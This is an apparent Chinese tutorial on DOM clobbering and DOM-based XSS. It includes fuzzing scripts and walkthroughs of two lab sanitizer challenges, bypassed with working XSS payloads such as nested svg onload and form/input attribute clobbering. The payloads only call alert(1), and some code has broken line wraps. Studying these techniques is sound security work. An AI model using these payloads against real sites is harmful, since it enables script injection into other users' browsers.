目录
一、定义
1.1DOM
DOM(Document Object Model)是一种跨平台和编程语言独立的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式。DOM将文档表示为一个树状结构,其中每个节点代表文档中的一部分,如元素、属性、文本等。通过DOM,开发者可以编写脚本来操作网页,添加、删除或修改页面元素,以及响应用户交互。
1.2DOM操作的安全性
DOM操作在Web开发中非常重要,但同时也带来了安全隐患。不当的DOM操作可能导致跨站脚本攻击(XSS),尤其是DOM型XSS。DOM型XSS攻击发生在客户端,攻击者通过操纵DOM来插入恶意脚本,这些脚本在用户的浏览器中执行,可能导致数据泄露、会话劫持或其他恶意行为。
1.3DOM破坏案例
DOM破坏案例通常涉及攻击者利用JavaScript对DOM进行非法操作。例如,攻击者可能会利用innerHTML属性来插入恶意脚本,或者利用事件处理器来触发不正当的行为。这些攻击不需要服务器端的配合,因此即使服务器端的输入验证足够严格,客户端的DOM操作仍然可能被利用来实施攻击。
1.4DOM靶场
DOM靶场是专为学习和练习DOM攻击与防御技巧设计的环境。在这些靶场中,用户可以通过实际操作来了解DOM型XSS的工作原理,学习如何检测和修复这些安全漏洞。例如,DVWA(Damn Vulnerable Web Application)是一个流行的Web应用程序安全靶场,它包含了多种安全漏洞的练习,包括DOM型XSS。通过这些靶场,开发者可以提高自己的安全意识和技能。
二·、简单练习
2.1 Create
从图中我们可以看到通过id 或者 name 属性,我们可以在 document 或者 window 对象下创建⼀个对象。
运行之后,只有第三个不可以取出来,可以用id和值直接取出来
2.2 Overwrite
可以看到 document.cookie 已经被我们⽤img 标签给覆盖了
(1)页面没有 document.cookie ,所有没有取到值。
(2)创建一个元素,是div
(3)赋予一个值
(4)插入到body里面去
(5)再次访问 document.cookie ,被第三次的结果所覆盖
2.3 Overwrite2
可以看到我们通过多层覆盖掉了 document.body.appendChild ⽅法。
2.4 Attack Method
既然我们可以通过这种⽅式去创建或者覆盖document 或者 window 对象的某些值,但是看起来我们举的例⼦只是利⽤标签创建或者覆盖最终得到的也是标签,是⼀个 HTMLElment 对象。
但是对于⼤多数情况来说,我们可能更需要将其转换为⼀个可控的字符串类型,以便我们进⾏操作。
2.5 toString
所以我们可以通过以下代码来进⾏fuzz 得到可以通过 toString ⽅法将其转换成字符串类型的标签:
Object.getOwnPropertyNames(window) //把window下面的所有属性名称都拿到了
.filter(p => p.match(/Element$/)) //过滤后缀带Element的
.map(p => window[p]) //取window里面对应的值
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString) //要求
我们可以得到两种标签对象: HTMLAreaElement (<area>) & HTMLAnchorElement (<a>) ,这两个标签对象我们都可以利⽤ href 属性来进⾏字符串转换。
2.5 HTMLCollection
让我们值得注意的是我们可以通过 collection[name] 的形式来调⽤其中的元素,所以我们似乎可以通过先构建⼀个 HTMLCollection ,再通过 collection[name] 的形式来调⽤。
<div id="x">
<a id="x" name=y href="1:hasaki"></a>
</div>
2.6 HTML Relationships
再者,我们也可以通过利⽤HTML标签之间存在的关系来构建层级关系。
var log=[];
var html =
["a","abbr","acronym","address","applet","area","article","aside","audio","b"
,
"base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br
"
,"button","canvas","caption","center","cite","code","col","colgroup","command
"
,"content","data","datalist","dd","del","details","dfn","dialog","dir","div",
"
dl","dt","element","em","embed","fieldset","figcaption","figure","font","foot
e
r","form","frame","frameset","h1","head","header","hgroup","hr","html","i","i
f
rame","image","img","input","ins","isindex","kbd","keygen","label","legend","
l
i","link","listing","main","map","mark","marquee","menu","menuitem","meta","m
e
ter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object
"
,"ol","optgroup","option","output","p","param","picture","plaintext","pre","p
r
ogress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select
"
,"shadow","slot","small","source","spacer","span","strike","strong","style","
s
ub","summary","sup","svg","table","tbody","td","template","textarea","tfoot",
"
th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xm
p "], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++){
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+'
id=element2>'; document.body.appendChild(div);
if(window.element1 &&element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
//把所有标签都拿出来了,把他们放在数组里面,创建一个div,对数组进行循环,叠加,取值,插入,判断
以上代码测试了现在HTML5基本上所有的标签,使⽤两层的层级关系进⾏fuzz ,注意这⾥只使⽤了id ,并没有使⽤ name ,遇上⽂的 HTMLCollection 并不是⼀种⽅法。
我们可以得到的是以下关系:
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
<form id=x><output id=y>I've been
clobbered</output>
<script>
alert(x.y.value);
</script>
三、绕过一次循环移除所有属性过滤(边循环边删除)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible"content= "IE=edge"/>
<meta name="viewport"content="width=device-width, initial-scale=1.0"/>
<title>Document</title>
</head>
<body></body>
<script>
const data = decodeURIComponent (location. hash. substr(1));
const root = document.createElement( "div" );
root.innerHTML = data;
for (let el of root.querySelectorAll("*")){
for (let attr of el.attributes){
el. removeAttribute (attr.name);
}
}
document.body.appendChild(root);
</script>
</html>
过滤方式:截取#后面的值,创建一个div,把#后面的值赋值给div,然后抓div的子元素,获取它的属性,再把子元素的属性全部删除(不管也没有用全都删除)
我们先输入#aaa看看
在输入<script>alert(1)</script>
看看结果
这里是因为用innerHTML添加的<script>
无法执行
再用<img src=1 onerror=alert(1)>
试试
发现src没见了,但是onerror还在,按道理应该是两个都要删掉,但是这里却留下了onerror没有删掉,所以我们用单步执行看看里面是怎么运行的
这里data已经抓取到img标签
这里已经获取到了第一个src
但是到了下一步,却获取不到onerror了
最后跳出了循环,没有删除onerror
这其中的原因是:本来是要删除2个,第一个src,第二个onerror,当他删除掉了第一个src的同时,第二个便往前移了移位,变到了现在的一个,for循环现在要删掉第二个时,发现第二个已经没有了,本来的第二个现在跑到了第一个,所以直接循环结束,没有删除onerror。所以我们可以利用这一机制,将img标签中放入其他的属性,删除其他的属性来让我们要输出有用的属性进行输出。下面来验证这一想法:
输入<img src=1 οnerrοr=alert(1) title=aaa>
可以看到我们的想法确实可以实现,但是src也被删除了,所以我们再添加一个属性,然后换个位置,输入<img x=1 src=1 title=aaa onerror=alert(1)>
可以看到输出了哦我们要输出的属性并且成功弹窗
其他答案:<svg/a/onload=alert(1)>
四、两次循环(先进数组,在数组里面循环删除)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport"content="width=device -width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
<script>
const data = decodeURIComponent (location.hash.substr(1));;
const root = document . createElement('div');
root. innerHTML = data;
for (let el of root .querySelectorAll('*')){
let attrs = [ ];
for (let attr of el.attributes){
attrs.push(attr.name);
}
for(let name of attrs){
el. removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
这里的两次循环将属性都放入一个新的数组进行删除,就避免了上面一次循环导致的少删一个元素的情况,所以这里有两种思路(1)不进循环 (2)进循环不删除有用的属性
先试试一次循环的答案放在这里看是什么样子
可以看到只留下了一个img了
(1)进循环不删有用的数据
如果有一个元素可以拦截el.attributes,有可能删除的不是el而是里面的子元素,比如说在div标签里有form和img两个元素,将img的值删掉让form弹窗;要想进循环只有一个元素肯定不行,所以要想办法变成一个数组来进入循环,所以可以写进2个img
可以看到确实进入了循环,但是form没有触发,这里就需要用onfocus,而onfocus是input的属性,form没有,但是也要把焦点对到input里面,所以要用到tabindex(tabindex 全局属性 指示其元素是否可以聚焦,以及它是否/在何处参与顺序键盘导航)<form tabindex=1 οnfοcus="alert(1)" autofocus="ture"><input 20name=attributes><input name=attributes></form> tabindex=1聚焦在input的子元素上;autofocus="ture“自动聚焦
弹窗可以但是这无限聚焦所以点了确定依旧弹窗,所以要加上执行一次就删除onfocus即<form tabindex=1 οnfοcus="alert(1);this.removeAttribute('onfocus');" autofocus="ture"><input 20name=attributes><input name=attributes></form> 便可以实现
(2)不进循环
答案<svg><svg/onload=alert(1)>
我们在循环前后都打上断点,发现是没有进入循环直接输出了
2个svg会提前执行,一个却不会
JS会把dom树阻塞,如果一个img或者1个svg都会在js执行后才会执行且属性以及被删除了;而2个svg里的最内侧svg是在html赋值的瞬间就把onload事件加载了所以就没有进入到js的删除事件里
img和其他payload的失败原因在于sanitizer执行的时间早于事件代码的执行时间,sanitizer将恶意代码清除了。由于js阻塞dom树,一直到js语句执行结束后,才可以引入img,此时img的属性已经被sanitizer清除了,自然也不可能执行事件代码了。最内层的svg先触发,然后再到下一层,而且是在DOM树构建完成以前就触发了相关事件;最外层的svg则得等到DOM树构建完成才能触发。
套嵌的svg之所以成功,是因为当页面为root.innerHtml赋值的时候浏览器进入DOM树构建过程;在这个过程中会触发非最外层svg标签的load事件,最终成功执行代码。